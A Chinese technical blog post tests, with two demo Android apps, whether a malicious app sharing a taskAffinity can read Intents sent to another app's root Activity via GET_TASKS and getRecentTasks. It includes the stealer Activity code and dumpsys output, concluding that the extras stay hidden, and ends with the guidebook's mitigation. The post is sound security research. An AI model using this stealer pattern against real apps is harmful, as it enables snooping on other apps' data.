这几天在研究《Android Application Secure Design/Secure Coding Guidebook》,看到其中有一段说道如果一个Activity刚好是Task的根Activity的话,别的程序可以轻易读到发送给该Activity的Intent。顿时觉得比较好奇,稍微研究了一下。
首先,什么是根Activity呢?所谓根Activity其实就是在一个Task中启动的第一个Activity。所有发送给Task根Activity的Intent都会被记录在Task的历史记录中。这样如果另外一个程序的Activity能够加入到那个根Activity的Task栈中,就能够轻易的读到所有发送给该根Activity的Intent。要查到一个Task的历史记录,必须要使用ActivityManager类,并且需要声明使用GET_TASKS权限。
真的是这样吗?下面我们设计一个场景来验证一下看看。假设有两个程序A和B,他们分别有两个Activity,分别编号1和2,这样的话就一共有四个Activity,分别为A1、A2、B1和B2。程序A启动的时候首先打开A1,在A1里面发送Intent,打开A2,并且要求A2创建在一个新Task里,这样A2就是新Task的根Activity。然后启动程序B,先打开B1,在B1里启动B2,并要求B2创建在A2的同一个Task里,看看到底能不能读出Intent信息。
好了,说了那么多,开始行动。先设计程序A,其AndroidManifest.xml如下:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.importantapp"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme"
android:debuggable="true" >
<activity
android:name="com.example.importantapp.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="com.example.importantapp.ImportantActivity"
android:label="@string/app_name"
android:taskAffinity="com.roland.sun.stealer"
android:launchMode="singleTask" >
</activity>
</application>
</manifest>
看到共有两个Activity,MainActivity和用来被窃取Intent信息的ImportantActivity。注意了,为了保证ImportantActivity被创建在一个新的Task里,我在这里把launchMode设为singleTask,为了保证窃取Intent信息的Activity能和ImportantActivity在同一个Task中创建,我设置了taskAffinity属性。
下面来看看程序B的AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.intentstealer"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme"
android:debuggable="true" >
<activity
android:name="com.example.intentstealer.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="com.example.intentstealer.StealerActivity"
android:label="@string/app_name"
android:taskAffinity="com.roland.sun.stealer"
android:launchMode="singleTask" >
</activity>
</application>
<uses-permission android:name="android.permission.GET_TASKS" />
</manifest>
有两点值得提一下,首先,偷信息的StealerActivity也设置了taskAffinity属性,并且取值和前面的一样。其次,要声明使用android.permission.GET_TASKS权限。
下面来看看Activity是如何实现的,先来看看所谓的A1,即第一个程序的MainActivity:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
findViewById(R.id.button1).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, ImportantActivity.class);
intent.putExtra("name", "Roland Sun");
startActivity(intent);
}
});
}
很简单,如果按了Button,就创建一个新的Intent用来启动新的Activity,并且这个Intent里面还带了用户名的信息。
再来看看所谓的A2,也就是ImportantActivity的实现:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_important);
Log.v("Important", getIntent().getStringExtra("name"));
}
很简单,启动后获取发送给它的Intent,并在Log中打印出用户名的信息。
下面来看看B1,即偷取Intent信息程序的MainActivity的实现:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
findViewById(R.id.button1).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, StealerActivity.class);
startActivity(intent);
}
});
}
很简单,直接把那个干坏事的B2,也就是这里的StealerActivity启动起来就行了。重点在这个偷Intent的Activity里:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_stealer);
// Get an ActivityManager instance
ActivityManager am = (ActivityManager)getSystemService(ACTIVITY_SERVICE);
// Get at most 100 recent task info items
List<ActivityManager.RecentTaskInfo> list = am.getRecentTasks(100,
ActivityManager.RECENT_WITH_EXCLUDED);
for (ActivityManager.RecentTaskInfo r : list) {
// Get Intent sent to root Activity
Intent intent = r.baseIntent;
if (!intent.getComponent().getClassName().endsWith("ImportantActivity"))
continue;
Log.v("Stealer", intent.toString());
String name = intent.getStringExtra("name");
if (name != null) {
Log.v("Stealer", name);
}
}
}
首先获得ActivityManager实例,然后获取这个Activity所在Task的所有历史记录,接着遍历这些记录,去除其中的Intent信息,并且查看这个Intent是否是发给要监听的那个Activity的(通过从Intent中获得组件中的类名来过滤),最后在Log中打印Intent并且试着获得该Intent中的附加信息。
编译这两个程序,并试着在设备上运行,看一下结果。顺序是,先打开程序A,从而启动A1,点击上面的Button,启动A2,再按Home键,把这个Activity程序切换到后台,接着打开程序B,点击B1上的Button,启动B2。
先来看看Task的执行状况,将设备连接上电脑(笔者的设备是一台Google Nexus 7二代,Android 4.4.3),打开debug模式,键入命令:
adb shell dumpsys activity
可以在输出中,找到以下信息:
Stack #1:
Task id #62
TaskRecord{652fd1b0 #62 A=com.roland.sun.stealer U=0 sz=2}
Intent { cmp=com.example.importantapp/.ImportantActivity (has extras) }
Hist #1: ActivityRecord{656c89a8 u0 com.example.intentstealer/.StealerActivity t62}
Intent { flg=0x400000 cmp=com.example.intentstealer/.StealerActivity }
ProcessRecord{65a86b08 24059:com.example.intentstealer/u0a86}
Hist #0: ActivityRecord{655c2b18 u0 com.example.importantapp/.ImportantActivity t62}
Intent { cmp=com.example.importantapp/.ImportantActivity (has extras) }
ProcessRecord{6531ce10 23869:com.example.importantapp/u0a85}
这就证明了A2(ImportantActivity)和B2(StealerActivity)在一个Task栈中。
下面来翻翻Log,可以找到下面的记录:
看到没有,StealerActivity确实获得了发送给ImportantActivity的Intent信息,但是没有如愿打印出用户名信息。
这说明什么问题?说明如果一个Activity是一个Task的根Activity,确实存在风险,让其它的应用程序获得发送给该Activity的所有Intent,但是信息量非常有限,最重要的附加信息是获取不到的。所以,想用这个干坏事的同学们可以回家洗洗睡了。
好了,最后来总结一下想要利用这个风险的前提条件:
1)那个你想窃取信息的Activity必须出现在一个Task的根中;
2)要窃取信息的Activity必须能够保证被加载到那个Task中(没有taskAffinity属性这种情况几乎没办法出现);
3)用户必须授予窃取信息程序android.permission.GET_TASKS权限。
以上条件缺一不可,并且即使都满足,获得信息量也是非常有限的。
为了保证万无一失,在《Android Application Secure Design/Secure Coding Guidebook》中,要求禁止使用taskAffinity和launchMode属性。